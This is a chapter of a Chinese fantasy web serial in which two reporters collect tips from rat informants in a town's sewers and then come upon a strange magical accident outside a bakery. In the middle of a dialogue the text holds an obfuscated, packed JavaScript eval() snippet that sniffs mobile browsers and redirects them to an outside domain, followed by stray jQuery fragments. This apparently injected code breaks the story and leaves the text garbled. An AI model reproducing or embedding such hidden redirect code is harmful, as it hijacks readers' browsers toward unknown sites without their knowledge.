凯西被疯狂震动摇摆的床颠到地上的时候，第一反应是：上次被活屋用这种方式叫醒，貌似还是她刚来古怪多的时候。


    她从地上坐起来，打了个大大的哈欠。昨晚喝的那一口清醒咖啡让她睁着眼睛清醒到凌晨，中途精神抖擞地写完了关于辣翅之战的报告，并整理了自来古怪多至今的所有笔记。此时她困得眼泪直流，根本动都不想动。


    不想动也没用，活屋已经显而易见地不满起来，洗手间里的水龙头开开关关，内容是莫尔斯码的“还不起来，做什么梦！”。


    “停停停，我马上就起。”凯西艰难地站起来，觉得自己身上的每一块肌肉都在向这个动作抗议。她走进洗手间，开始洗漱。


    水非常冷，大概是活屋为了让她清醒一点故意的。对凯西来说倒不完全是个坏事，她把沁人的冷水扑到脸上，激灵灵打了个寒颤，感觉缩在身体深处的意识缓缓地、有点迟疑地，但最终还是被惊了出来。


    “谢了。”她说。


    浴室的灯闪了两下，算是回应。


    她下楼的时候佩妮正从地下室出来，她身上某种可称之为气场的东西比平时萎靡了一大圈。看来惨遭清醒咖啡后遗症折磨的不仅是凯西一个人。


    阿加莎皱眉看着她的房客们：“你们两个昨晚干什么去了？脸色比薇薇安还难看。”


    凯西迟钝地眨眨眼：“薇薇安是谁？”


    佩妮的日常解说反应也比平时的要慢：“镇图书馆的图书管理员。是个吸血鬼，我记得。”她用力揉了揉自己的太阳穴：“……早上好，阿加莎女士。”


    凯西也反应过来，朝阿加莎打招呼：“早上好，阿加莎女士。”


    阿加莎不甚高兴地扯动嘴角：“从你们两个的样子看，你们该说‘早上坏’才对。昨晚熬夜工作了？”


    “确实是熬夜了，”凯西承认，“不过最开始的原因是我们喝了夜之呢喃的咖啡。我只喝了一口就再也睡不着了，而且忽然万分地想要工作。”


    阿加莎的眉毛在听到“夜之呢喃”这个词的时候微微一跳：“夜之呢喃？那个恶魔窝？……难怪了。”


    “是……是的，”凯西有点心里没底，“怎么了吗？我记得那里是合法营业？”


    阿加莎说：“合法经营，当然了。这毕竟不是三十年前。只不过我对恶魔这个群体总有些警惕心，她们在菜里玩那些小巧思，谁知道不会想着哪天用在别的东西上？”


    “别用那种眼神看着我，”她带点嘲讽地对面露惊恐的凯西和佩妮说，“那里的东西吃不死人。只是我回想起了一些早该忘记的往事……老不死的总会有这种时刻。好了，别管我说的那些傻话了，”阿加莎从兜里拿出来一个卷起来的纸条，“你们没起来的时候吱吱来过，让我把这个交给你们。”


    凯西道了声谢，展开纸卷，上面的字迹又小又挤，给人一种拘谨的印象：


    【佩妮、凯西：非常抱歉！莉娜生病了，据说是急性肠胃炎。我得替她送今天的报纸，早上的信息搜寻工作只能拜托你们了！请多注意靠海的地下管道，那里最近水元素波动明显。谢谢！】


    还附带一张古怪多地下管道老鼠、蟑螂、蜘蛛、史莱姆等生物的分布情况，以及哪些已经被吱吱收编成报社线人的内容。


    “莉娜生病了？”凯西有点好笑地说，想起她和卡翠娜昨天吃完辣翅后的惨状。


    佩妮的声音里带着忧虑：“夜之呢喃的恶魔辣翅很出名，不少人做吃辣挑战都会点它……希望莉娜没事。”


    凯西安慰她：“我们下班之后可以去看她，现在还是先关注信息搜寻的事情吧。”


    佩妮摸摸那幅小小的，几乎要用放大镜看的地图：“吱吱把地下管道的消息来源写得很详细，我们只用找到几大管道生物聚集的地方，问她们的头儿就行了。就是要在地下多走几步路。”


    “我来这里工作之前可没想过自己会成天地往地下跑。”凯西说着，不过并没有要抱怨的意思。


    “不过吱吱说跟线人们交流要带上糖渣或面包屑……看来我们得问玛吉女士要一点了。”


    之前看到玛吉掰碎面包，伪装成面包屑放到柜台上的画面忽然浮现在凯西的脑海中。是否吱吱经常去玛吉那里要面包屑，而玛吉或许手边并不总是有，或者即便有也不足以支撑吱吱的情报网，所以才会用那样的方式补足？


    凯西想起鼠人记者总是显得拘谨，但又真诚的眼睛，又想起玛吉热情爽朗的大笑。她也忍不住微微一笑。


    得知凯西和佩妮的来意后，玛吉很爽快地给了她们一包面包屑，然后说道：“莉娜那孩子病了？难怪，昨天晚上吃那么多辣的！回头我煮点养胃的汤送过去！不过真可惜啊，到最后也没分出胜负，其实我当时觉得卡翠娜那黑毛混蛋已经撑不住了，莉娜要是不提出停战的话是可以赢的……我的面包卷，而且还要看贝拉老巫婆的脸色！”


    凯西点头称是，心里却想当时停了也没什么不好。


    她跟佩妮爬进地下管道，并心情复杂地发现最初的排斥已经完全不存在了。随后她们按照吱吱地图上的指导，来到老鼠头子“利爪”的地盘。


    经过商量，由地下出身的佩妮前去跟对方交涉。她走上前，蹲下后敲地三下，停顿，再敲三下。


    一只老鼠从阴影里走了出来。无愧于利爪之名，她的爪子确实十分锋利，显然是精心打磨和保养的结果，在这样阴暗的环境中依然微微地发着光。


    佩妮说：“你好，利爪女士。我们是古怪多日报的，想知道这里有没有什么不寻常的消息。”


    “吱吱呢？”利爪的声音里带着警惕，“为什么来的是你们？”


    佩妮把吱吱留下的纸条拿出来：“我们是吱吱的同事，是她让我们来的。”


    利爪仔细地看了一遍纸条，语气缓和了一些：“是吱吱的笔迹。你们想知道些什么？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444200|184864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “整体来说，我们想知道最近镇上有什么不寻常的事情发生。特别要问的事情是，吱吱告诉我们小镇靠海的管道最近水元素波动十分明显，请问你们是否有这方面的消息？”


    “送包的鹰身女妖姑娘生病，这事你们已经知道了。其实乌鸦卡翠娜也生病了，到现在也没从森林边缘的巢里爬出来。瞬跃据说昨天晚上在夜之呢喃凑热闹的时候点了份闪电泡芙，今早送外卖的时候瞬移就自带闪电和火花了，好像说定位也出了问题，希望别惹出大事。靠海那边现在可不单是水元素波动了，那里……有声音。我们不敢听，希望你们能请贤者会的人去看看。”


    佩妮点点头：“我们一定注意。”


    然后她拿出备好的一小包面包屑，递到利爪的面前：“这是今天的报酬，谢谢你的配合。”


    利爪接住面包屑：“不用谢。我们也只是为了面包屑而已。”


    第一个消息来源跑过之后，佩妮和凯西都稍稍放下了心，之后她们开始轮换着跟线人交涉，发现即使是凯西这样的外地人，只要奉上吱吱的亲笔信，都必然会得到对方的真诚配合。


    “我之前可没想到吱吱在这里的声望这么高，”凯西感慨地说，“她简直是地下情报世界的王了。”


    佩妮点点头，又皱着眉朝上方看了一眼：“上面有声音。”


    确实，从地面传来一阵嘈杂的声音，似乎发生了什么事情，只是乱糟糟的听不清楚内容。


    凯西瞄了眼地图：“我们现在是在……面包房下面。”


    她们从最近的排水口爬了上去，发现玛吉面包房门口聚集了一群人，菲比警长正努力地疏散她们。其中一个穿校服的比格犬女孩格外不服劝阻，举着照相机，使劲越过菲比高大的身体去拍挡在她身后的，以一种诡异的方式纠缠在一起的一人一豚。


    外卖员瞬跃和警官查莉。


    想要描述她们两个现在的状态是很困难的事情，大致情况是这样的：瞬跃胸口以上的身体部位从查莉的右侧肩膀“长”了出来，双腿则从查莉的左侧腰部向外伸出，她的躯干则完全埋没在查莉毛茸茸的身躯中。瞬跃总是显得精力过度旺盛的神情现在被一种自嘲、无奈的表情所取代，而查莉则一如既往地气定神闲，甚至有余裕吃她刚买的甜甜圈


    即便凯西在古怪多已经见多了怪事，她也在见到这个画面后惊得呆站在了原地。而从周围人的反应来看，这在本地人眼里也不是什么常事。


    “派珀·罗杰同学，”菲比警长用冷静的声音说，“请不要妨碍公务。”


    那个比格犬女孩一脸兴奋和着急地说：“可我还没拍到一张好照片！菲比警长，求您让我多拍几张吧！”


    菲比专注地看了一会儿派珀的脸，后者瞪大眼睛，试图用狗狗眼攻击打动她，身后的尾巴摇个不停。然而菲比不为所动。


    “不行。”她冷酷地说。


    派珀的尾巴一下子停止了摆动。